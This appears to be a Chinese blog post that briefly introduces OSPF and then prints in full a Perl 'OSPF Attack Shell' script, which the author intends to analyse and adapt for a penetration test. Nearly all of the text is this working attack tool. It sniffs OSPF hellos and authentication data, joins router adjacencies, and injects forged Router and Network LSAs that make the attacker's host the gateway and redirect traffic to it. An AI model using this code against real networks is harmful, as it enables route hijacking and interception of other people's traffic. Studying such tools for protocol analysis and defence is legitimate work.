OSPF协议栈的perl 脚本实现！

OSPF协议栈的perl 脚本实现！

现代中型或者大型规模企业应用比较多的是OSPF协议，当然如果都采用CISCO设备，我会更推荐EIGRP协议，因为快速的收敛特性！

OSPF协议非常复杂，其RFC2328就有1万多行！OSPF协议也相对很难理解。

 

本篇文章就通过一个老外写的OSPF perl脚本来分析一下部分的OSPF协议栈功能。并针对这个脚本做改变实现一个***测试。

 

如下就是OSPF perl脚本代码：

 

#!/usr/bin/perl
#
# $Id: ospf-ash.pl,v 1.9 2007/03/13 18:28:26 gomor Exp $
#
package Net::Attack::OSPF;
use strict;
use warnings;

our $VERSION = '0.16';

use Net::Frame::Device;
use Net::Frame::Dump::Online;

use Net::Frame::Simple;
use Net::Write::Layer2;

use Net::Frame::Layer qw(:subs);
use Net::Frame::Layer::ETH qw(:consts);
use Net::Frame::Layer::ARP qw(:consts);
use Net::Frame::Layer::IPv4 qw(:consts);
use Net::Frame::Layer::OSPF qw(:consts);
use Net::Frame::Layer::OSPF::Hello;
use Net::Frame::Layer::OSPF::DatabaseDesc;
use Net::Frame::Layer::OSPF::Lsa;

use Data::Dumper;
use Term::ReadLine;
use Time::HiRes qw(gettimeofday);

our $oDevice;
our $oWrite;

# To store OSPF parameters (areaId, ...)
our $Env = {
   routerPri    => 1,
   lsAge        => 200,
   areaId       => undef,
   networkMask  => undef,
   dr           => undef,
   bdr          => undef,
   neighborList => [],
   _neighbors   => [],
   state        => 'start',
};

# Will store ARP cache table
our $Mac = {};

sub init {
   my ($dev, $src, $mac) = @_;

   if ($dev) { $oDevice = Net::Frame::Device->new(dev => $dev) }
   else      { $oDevice = Net::Frame::Device->new              }
   $oDevice->ip($src)  if $src;
   $oDevice->mac($mac) if $mac;

   print "\n  -- OSPF Attack Shell - $VERSION --\n\n";
   print "Using device    : ".$oDevice->dev."\n";
   print "Using source IP : ".$oDevice->ip. "\n";
   print "Using source MAC: ".$oDevice->mac."\n";

   $oWrite = Net::Write::Layer2->new(dev => $oDevice->dev);
   $oWrite->open;
}

sub help {
   print
      "You can use the following functions:\n".
      "  listen()    wait for an OSPF Hello frame, get various variables\n".
      "  exchange()  become an OSPF neighbor with all available routers\n".
      "  lock()      keep regularly sending Hello frames\n".
      "  lsu_router(NETWORK,MASK)        inject a LSA Router\n".
      "";
}

sub _dumpCallListen {
   my ($h, $data) = @_;
   my $f = Net::Frame::Simple->newFromDump($h);
   if ($f->ref->{'OSPF'}) {
      my $packet = $f->ref->{'OSPF'}->packet;
      if ($packet->layer eq 'OSPF::Hello') {
         my $dr = $packet->designatedRouter
            if $packet->designatedRouter;
         my $bdr = $packet->backupDesignatedRouter
            if $packet->backupDesignatedRouter;
         my @nl;
         for ($packet->neighborList) {
            push @nl, $_ unless /^0.0.0.0$/;
         }

         # If there is only a DR, we add it to neighborList
         if (! $bdr || $bdr =~ /^0.0.0.0$/) { push @nl, $dr; }

         print "Hello from: ".$f->ref->{'IPv4'}->src."\n";
         print "Found: DR : $dr\n"  if $dr;
         print "Found: BDR: $bdr\n" if $bdr;
         print "Found: neighborList: @nl\n" if @nl;
         $Env->{dr}            = $dr  if $dr;
         $Env->{bdr}           = $bdr if $bdr;
         $Env->{neighborList}  = \@nl if @nl;
         $Env->{helloInterval} = $packet->helloInterval
            if $packet->helloInterval;
         $Env->{routerDeadInterval} = $packet->routerDeadInterval
            if $packet->routerDeadInterval;
         $Env->{networkMask} = $packet->networkMask
            if $packet->networkMask;
         $Env->{areaId} = $f->ref->{'OSPF'}->areaId
            if $f->ref->{'OSPF'}->areaId;

         $Env->{authType} = $f->ref->{'OSPF'}->authType
            if $f->ref->{'OSPF'}->authType;
         $Env->{authData} = $f->ref->{'OSPF'}->authData
            if $f->ref->{'OSPF'}->authData;

         printf "AuthType: 0x%02d\n", $Env->{authType}
            if $Env->{authType};
         printf "AuthData: %s\n", $Env->{authData}
            if $Env->{authData};

         $data->stop;
      }
   }
}

sub _updateNeighbors {
   my %neighbor;
   $neighbor{$Env->{dr}}  = '' if ($Env->{dr}  && $Env->{dr}  !~ /^0.0.0.0$/);
   $neighbor{$Env->{bdr}} = '' if ($Env->{bdr} && $Env->{bdr} !~ /^0.0.0.0$/);
   for (@{$Env->{neighborList}}) {
      #next if /^0.0.0.0$/;
      #next if /^@{[$oDevice->ip]}$/ ;
      $neighbor{$_} = '';
   }
   for (keys %neighbor) {
      delete $neighbor{$_} if (/^0.0.0.0$/ || /^@{[$oDevice->ip]}$/ );
   }
   $Env->{_neighbors} = [ keys %neighbor ];
}

sub listen {
   # Flush $Env vars
   $Env->{dr}           = undef;
   $Env->{bdr}          = undef;
   $Env->{neighborList} = [];
   $Env->{authType} = undef;
   $Env->{authData} = undef;

   my $oDump = Net::Frame::Dump::Online->new(
      dev       => $oDevice->dev,
      overwrite => 1,
      promisc   => 1,
   );
   $oDump->filter('dst host 224.0.0.5 and ip proto 0x59');
   $oDump->onRecv(\&_dumpCallListen);
   $oDump->onRecvData($oDump);
   $oDump->start;

   if ($Env->{dr} && $Env->{dr} !~ /^0.0.0.0$/) {
      $Mac->{$Env->{dr}} = $oDevice->lookupMac($Env->{dr});
   }
   if ($Env->{bdr} && $Env->{bdr} !~ /^0.0.0.0$/) {
      $Mac->{$Env->{bdr}} = $oDevice->lookupMac($Env->{bdr});
   }

   _updateNeighbors();
}

sub _ospfSend1 {
   my ($f) = @_;
   $f->send($oWrite);
}

sub _ospfSend {
   my ($f, $oDump, $recvFrom) = @_;
   my $recv;
   for (1..2) {  # Two retries
      $f->send($oWrite);
      until ($oDump->timeout) {
         if ($recv = $f->recv($oDump)) {
            my $dst = $f->ref->{'IPv4'}->dst;
            my $src = $recv->ref->{'IPv4'}->src;
            if ($recvFrom && ($src eq $recvFrom)) {
               last;
            }
            elsif ($dst eq '224.0.0.5' || $dst eq $src) {
               last;
            }
            $recv = undef;
         }
      }
      $oDump->timeoutReset;
      last if $recv;
   }
   $recv;
}

sub _getEthHdr {
   my ($dst) = @_;
   my $mac = ($Mac->{$dst} || $oDevice->lookupMac($dst)) if $dst;
   Net::Frame::Layer::ETH->new(
      src => $oDevice->mac,
      dst => $mac || NF_ETH_ADDR_BROADCAST,
   );
}

sub _getIpHdr {
   my ($src, $dst) = @_;
   Net::Frame::Layer::IPv4->new(
      noFixLen => 1,
      ttl      => 1,
      src      => $src,
      dst      => $dst || '224.0.0.5',
      protocol => NF_IPv4_PROTOCOL_OSPF,
   );
}

sub _getOspfHello {
   my $eth = _getEthHdr();
   my $ip  = _getIpHdr($oDevice->ip);

   my $ospf = Net::Frame::Layer::OSPF->new(
      type     => NF_OSPF_TYPE_HELLO,
      routerId => $oDevice->ip,
      areaId   => $Env->{areaId},
      authType => $Env->{authType},
      authData => $Env->{authData},
   );

   my $ospfHello = Net::Frame::Layer::OSPF::Hello->new(
      networkMask        => $Env->{networkMask},
      helloInterval      => $Env->{helloInterval},
      options            => NF_OSPF_HELLO_OPTIONS_E,
      routerPri          => $Env->{routerPri},
      routerDeadInterval => $Env->{routerDeadInterval},
      designatedRouter       => $Env->{dr},
      backupDesignatedRouter => $Env->{bdr} || '0.0.0.0',
      neighborList           => $Env->{neighborList},
   );
   $ospf->packet($ospfHello);
   $ospf->computeLengths;
   $ospf->computeChecksums;

   $ip->length($ip->length + $ospf->length);

   Net::Frame::Simple->new(layers => [ $eth, $ip, $ospf ]);
}

sub _getOspfDbd {
   my ($router, $flags, $seqnum, $lsa) = @_;

   my $eth = _getEthHdr($router);
   my $ip  = _getIpHdr($oDevice->ip, $router);

   my $ospf = Net::Frame::Layer::OSPF->new(
      type     => NF_OSPF_TYPE_DATABASEDESC,
      routerId => $oDevice->ip,
      areaId   => $Env->{areaId},
      authType => $Env->{authType},
      authData => $Env->{authData},
   );

   my $ospfDbd = Net::Frame::Layer::OSPF::DatabaseDesc->new(
      ddSequenceNumber => $seqnum || 4300,
      options          =>
         NF_OSPF_DATABASEDESC_OPTIONS_0|NF_OSPF_DATABASEDESC_OPTIONS_E,
      flags            => $flags ||
         (NF_OSPF_DATABASEDESC_FLAGS_I | NF_OSPF_DATABASEDESC_FLAGS_M |
         NF_OSPF_DATABASEDESC_FLAGS_MS),
   );
   $ospf->packet($ospfDbd);
   $ospf->computeLengths;
   $ospf->computeChecksums;

   $ip->length($ip->length + $ospf->length);

   $ospf->packet->lsaList([ $lsa ]) if $lsa;

   Net::Frame::Simple->new(layers => [ $eth, $ip, $ospf, ]);
}

sub _getLsaRouterHeader {
   Net::Frame::Layer::OSPF::Lsa->new(
      lsAge             => 92,
      options           => 0x02,
      lsType            => 0x01,
      linkStateId       => $oDevice->ip,
      advertisingRouter => $oDevice->ip,
      lsSequenceNumber  => 1,
   );
}

sub exchange {
   my ($router) = @_;

   my $oDump = Net::Frame::Dump::Online->new(
      dev           => $oDevice->dev,
      overwrite     => 1,
      promisc       => 1,
      timeoutOnNext => 2,
   );
   $oDump->filter('ip proto 0x59');
   $oDump->start;

   my $ospfHelloReply = _ospfSend(_getOspfHello(), $oDump, $router);

   die("No router listens") unless $ospfHelloReply;
   # We are in ExStart state

   for (@{$Env->{_neighbors}}) {
      next if /^0.0.0.0$/;

      # Then, DR sends DBD, we reply the same DBD
      my $ospfDbd      = _getOspfDbd($_);
      my $ospfDbdReply = _ospfSend($ospfDbd, $oDump);

      if (! $ospfDbdReply) {
         warn("$_: No DBD reply");
         next;
      }
      # We are in Exchange state

      # Now is Exchange state, we reply with received ddSeqNum + 1, flags M|MS,
      # and our Router-LSA header
      my $seqnum = $ospfDbdReply->ref->{'OSPF'}->packet->ddSequenceNumber + 1;
      my $flags  = NF_OSPF_DATABASEDESC_FLAGS_M | NF_OSPF_DATABASEDESC_FLAGS_MS;
      my $lsaRouter     = _getLsaRouterHeader();
      my $ospfDbd2      = _getOspfDbd($_, $flags, $seqnum, $lsaRouter);
      my $ospfDbd2Reply = _ospfSend($ospfDbd2, $oDump);

      if (! $ospfDbd2Reply) {
         warn("$_: No DBD2 reply");
         next;
      }

      # Last step before LS exchange, we reply to the "empty" request with
      # ddSeqNum +1, flags MS only
      $seqnum = $ospfDbd2Reply->ref->{'OSPF'}->packet->ddSequenceNumber + 1;
      $flags  = NF_OSPF_DATABASEDESC_FLAGS_MS;
      my $ospfDbd3      = _getOspfDbd($_, $flags, $seqnum);
      my $ospfDbd3Reply = _ospfSend($ospfDbd3, $oDump);

      if (! $ospfDbd3Reply) {
         warn("$_: No DBD3 reply");
         next;
      }

      print "$_: exchange complete\n";
   }

   # If there were no BDR, we are the new one
   if (! $Env->{bdr} || $Env->{bdr} =~ /^0.0.0.0$/) {
      $Env->{bdr} = $oDevice->ip;
   }

   _updateNeighbors();
   $Env->{neighborList} = [ @{$Env->{_neighbors}} ];
   push @{$Env->{neighborList}}, $oDevice->ip;

   $oDump->stop;
}

sub _getLsuNetwork {
   my ($linkStateId, $router, $netmask) = @_;

   my $eth = _getEthHdr();
   my $ip  = _getIpHdr($oDevice->ip);

   my $ospf = Net::Frame::Layer::OSPF->new(
      type     => NF_OSPF_TYPE_LINKSTATEUPDATE,
      routerId => $oDevice->ip,
      areaId   => $Env->{areaId},
      authType => $Env->{authType},
      authData => $Env->{authData},
   );

   my $lsa = Net::Frame::Layer::OSPF::Lsa->new(
      lsAge   => $Env->{lsAge},
      options => 0x02,
      lsType  => 0x02,
      linkStateId       => $linkStateId || $oDevice->ip,
      advertisingRouter => $oDevice->ip,
      lsSequenceNumber  => getRandom32bitsInt(),
   );

   my $lsaNetwork = Net::Frame::Layer::OSPF::Lsa::Network->new(
      netmask    => $netmask,
      routerList => [ $router, ],
   );

   $lsa->lsa($lsaNetwork);
   $lsa->computeLengths;
   $lsa->computeChecksums;

   my $ospfLsu = Net::Frame::Layer::OSPF::LinkStateUpdate->new(
      lsaNumber => 1,
      lsaList   => [ $lsa ],
   );

   $ospf->packet($ospfLsu);
   $ospf->computeLengths;
   $ospf->computeChecksums;

   $ip->length($ip->length + $ospf->length);

   Net::Frame::Simple->new(layers => [ $eth, $ip, $ospf ]);
}

sub _getLsuRouter {
   my ($network, $mask) = @_;

   my $eth = _getEthHdr();
   my $ip  = _getIpHdr($oDevice->ip);

   my $ospf = Net::Frame::Layer::OSPF->new(
      type     => NF_OSPF_TYPE_LINKSTATEUPDATE,
      routerId => $oDevice->ip,
      areaId   => $Env->{areaId},
      authType => $Env->{authType},
      authData => $Env->{authData},
   );

   my $lsa = Net::Frame::Layer::OSPF::Lsa->new(
      lsAge   => $Env->{lsAge},
      options => 0x22,
      lsType  => 0x01,
      linkStateId       => $oDevice->ip,
      advertisingRouter => $oDevice->ip,
      lsSequenceNumber  => getRandom32bitsInt(),
   );

   my $lsaRouter = Net::Frame::Layer::OSPF::Lsa::Router->new(
      flags => 0,
   );

   # To correctly send a router, we must first advertise the network/mask
   # In a stub network (type 0x03)
   my @linkList = ();
   push @linkList, Net::Frame::Layer::OSPF::Lsa::Router::Link->new(
      linkId   => $network,
      linkData => $mask,
      type     => 0x03,
      nTos     => 0,
      metric   => 10,
   );

   # Then, we MUST say which is the gateway, to the DR
   # Here, we say the gateway is our IP address to redirect
   # trafic to us.
   push @linkList, Net::Frame::Layer::OSPF::Lsa::Router::Link->new(
      linkId   => $Env->{dr},
      linkData => $oDevice->ip,
      type     => 0x02,
      nTos     => 0,
      metric   => 10,
   );

   $lsaRouter->nLink(scalar @linkList);
   $lsaRouter->linkList(\@linkList);

   $lsa->lsa($lsaRouter);
   $lsa->computeLengths;
   $lsa->computeChecksums;

   my $ospfLsu = Net::Frame::Layer::OSPF::LinkStateUpdate->new(
      lsaNumber => 1,
      lsaList   => [ $lsa ],
   );

   $ospf->packet($ospfLsu);
   $ospf->computeLengths;
   $ospf->computeChecksums;

   $ip->length($ip->length + $ospf->length);

   Net::Frame::Simple->new(layers => [ $eth, $ip, $ospf ]);
}

sub lsu_network {
   my ($linkStateId, $router, $netmask) = @_;

   my $lsu = _getLsuNetwork($linkStateId, $router, $netmask);
   _ospfSend1($lsu);
}

sub lsu_router {
   my ($network, $mask) = @_;

   my $lsu = _getLsuRouter($network, $mask);
   _ospfSend1($lsu);
}

sub _getLsaAck {
   my ($request) = @_;

   my $eth = _getEthHdr();
   my $ip  = _getIpHdr($oDevice->ip);

   my $ospf = Net::Frame::Layer::OSPF->new(
      type     => NF_OSPF_TYPE_LINKSTATEACK,
      routerId => $oDevice->ip,
      areaId   => $Env->{areaId},
      authType => $Env->{authType},
      authData => $Env->{authData},
   );

   my $raw = '';
   for ($request->lsaList) {
      $_->lsa(undef);
      $raw .= $_->pack;
   }

   $ospf->packet($raw);
   $ospf->computeLengths;
   $ospf->computeChecksums;

   $ip->length($ip->length + $ospf->length);

   Net::Frame::Simple->new(layers => [ $eth, $ip, $ospf, ]);
}

sub _dumpCallOnRecv {
   my ($h, $data) = @_;
   my $frame = Net::Frame::Simple->newFromDump($h);
   if ($frame->ref->{'OSPF'}) {
      my $packet = $frame->ref->{'OSPF'}->packet;
      if ($packet) {
         # If a LSU frame is seen, we must acknowledge it
         if ($packet->layer eq 'OSPF::LinkStateUpdate') {
            _ospfSend1(_getLsaAck($packet));
         }
         # If a Hello frame is seen, we send one, to keep behing in neighborhood
         elsif ($packet->layer eq 'OSPF::Hello') {
            _ospfSend1(_getOspfHello());
         }
      }
   }
}

sub lock {
   my $pid = fork();
   die("fork: $!") unless defined($pid);
   if ($pid) { # Parent process
      return 1;
   }
   else { # Child process
      close(STDIN);
      close(STDOUT);
      close(STDERR);
      my $oDumpChild = Net::Frame::Dump::Online->new(
         overwrite => 1,
         promisc   => 1,
         dev       => $oDevice->dev,
         filter    => 'ip proto 0x59 '.
                      'and not src host '.$oDevice->ip,
         onRecv    => \&_dumpCallOnRecv,
      );
      $oDumpChild->start;
      $oDumpChild->stop;
      exit(0);
   }
}

sub ash {
   my ($dev, $src, $mac) = @_;

   init($dev, $src, $mac);

   my $prompt = 'ash> ';
   my $name   = 'ASH';
   my $term   = Term::ReadLine->new($name);
   $term->ornaments(0);

   {
      no strict;

      while (1) {
         if (my $line = $term->readline($prompt)) {
            $line =~ s/^\s*listen\s*$/Net::Attack::OSPF::listen/;
            eval($line);
            warn($@) if $@;
            print "\n";
         }
      }
   }

   print "\n";
}

1;

package main;

my $dev = shift;
my $src = shift;
my $mac = shift;

Net::Attack::OSPF::ash($dev, $src, $mac);

1;

__END__

=head1 NAME

ospf-ash - Net::Frame based OSPF Attack Shell tool

=head1 AUTHOR

Patrice EGomoRE Auffret

=head1 COPYRIGHT AND LICENSE

Copyright (c) 2007, Patrice EGomoRE Auffret

You may distribute this module under the terms of the Artistic license.
See LICENSE.Artistic file in the source distribution archive.

=cut

 

待续。。。